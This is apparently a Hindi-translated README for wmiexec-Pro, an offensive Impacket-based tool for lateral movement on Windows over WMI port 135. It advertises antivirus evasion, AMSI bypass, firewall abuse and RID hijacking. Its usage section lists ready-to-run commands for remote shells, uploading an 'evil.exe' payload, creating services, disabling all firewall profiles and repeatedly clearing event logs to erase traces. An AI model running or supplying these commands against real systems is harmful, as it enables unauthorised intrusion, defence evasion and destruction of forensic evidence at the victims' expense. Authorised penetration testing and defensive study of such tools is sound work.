wmiexec-Pro

wmiexec.py की नई पीढ़ी।

विषय-सूची

1. जानकारी
2. विशेष धन्यवाद
3. विशेषताएँ
4. आरंभ करना
   • स्थापना
5. उपयोग
6. स्क्रीनशॉट
7. यह कैसे काम करता है?
8. अस्वीकरण
9. संदर्भ

जानकारी

wmiexec.py की नई पीढ़ी, अधिक नई सुविधाओं के साथ, सभी ऑपरेशन केवल पोर्ट 135 पर काम करते हैं (SMB कनेक्शन की आवश्यकता नहीं) पार्श्व गति (lateral movement) में AV से बचाव के लिए (Windows Defender, HuoRong, 360)

(ऊपर वापस जाएँ)

विशेष धन्यवाद

@422926799

(ऊपर वापस जाएँ)

विशेषताएँ

• मुख्य विशेषता: AV से बचाव
• मुख्य विशेषता: win32_process की आवश्यकता नहीं
• मुख्य विशेषता: केवल पोर्ट 135 की आवश्यकता है।
• नया मॉड्यूल: AMSI बायपास
• नया मॉड्यूल: फ़ाइल स्थानांतरण
• नया मॉड्यूल: WMI क्लास विधि के माध्यम से दूरस्थ रूप से RDP सक्षम करना
• नया मॉड्यूल: Windows फ़ायरवॉल का दुरुपयोग
• नया मॉड्यूल: इवेंटलॉग की लूपिंग सफाई
• नया मॉड्यूल: CMD को छुए बिना दूरस्थ रूप से WinRM सक्षम करना
• नया मॉड्यूल: सेवा प्रबंधक
• नया मॉड्यूल: RID-Hijack
• संवर्द्धन: नए तरीके से कमांड निष्पादन आउटपुट प्राप्त करें
• संवर्द्धन: VBS फ़ाइल निष्पादित करें

(ऊपर वापस जाएँ)

आरंभ करना

स्थापना

केवल Impacket के नवीनतम संस्करण की आवश्यकता है

1. impacket रिपॉज़िटरी क्लोन करें

   git clone https://github.com/fortra/impacket
   

2. impacket स्थापित करें

   cd impacket && sudo pip3 install .
   

3. इसका आनंद लें :)

   git clone https://github.com/XiaoliChan/wmiexec-Pro
   

(ऊपर वापस जाएँ)

उपयोग

python3 wmiexec-pro.py [[domain/]username[:password]@]<targetName or address> module -h

Basic enumeration:
   python3 wmiexec-pro.py administrator:[email protected] enum -run

Enable/disable amsi bypass:
   python3 wmiexec-pro.py administrator:[email protected] amsi -enable
   python3 wmiexec-pro.py administrator:[email protected] amsi -disable

Execute command:
   python3 wmiexec-pro.py administrator:[email protected] exec-command -shell (Launch a semi-interactive shell)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" (Default is with output mode)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent (Silent mode)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent -old (Slient mode in old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old (With output in old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -save (With output and save output to file)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old -save
   python3 wmiexec-pro.py administrator:[email protected] exec-command -clear (Remove temporary class for command result storage)
   
Filetransfer:
   python3 wmiexec-pro.py administrator:[email protected] filetransfer -upload -src-file "./evil.exe" -dest-file "C:\windows\temp\evil.exe" (Upload file over 512KB)
   python3 wmiexec-pro.py administrator:[email protected] filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (Download file over 512KB)
   python3 wmiexec-pro.py administrator:[email protected] filetransfer -clear (Remove temporary class for file transfer)
   
RDP:
   python3 wmiexec-pro.py administrator:[email protected] rdp -enable (Auto configure firewall)
   python3 wmiexec-pro.py administrator:[email protected] rdp -enable -old (For old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rdp -enable-ram (Enable Restricted Admin Mode for PTH, not support old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rdp -disable
   python3 wmiexec-pro.py administrator:[email protected] rdp -disable -old (For old version OS, such as server 2003, not support old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rdp -disable-ram (Disable Restricted Admin Mode)

WinRM (Only support win7+):
   python3 wmiexec-pro.py administrator:[email protected] winrm -enable
   python3 wmiexec-pro.py administrator:[email protected] winrm -disable

Firewall (Only support win8+):
   python3 wmiexec-pro.py administrator:[email protected] firewall -search-port 445
   python3 wmiexec-pro.py administrator:[email protected] firewall -dump (Dump all firewall rules)
   python3 wmiexec-pro.py administrator:[email protected] firewall -rule-id (ID from search port) -action [enable/disable/remove] (enable, disable, remove specify rule)
   python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile enable (Enable all firewall profiles)
   python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile disable (Disable all firewall profiles)
   
Services:
   python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe'
   python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' -class "Win32_TerminalService" (Create service via alternative class)
   python3 wmiexec-pro.py administrator:[email protected] service -action start -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action stop -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action disable -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action auto-start -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action manual-start -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action getinfo -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action delete -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -dump all-services.json

Eventlog:
   python3 wmiexec-pro.py administrator:[email protected] eventlog -risk-i-know (Looping cleaning eventlog)
   python3 wmiexec-pro.py administrator:[email protected] eventlog -retrive object-ID (Stop looping cleaning eventlog)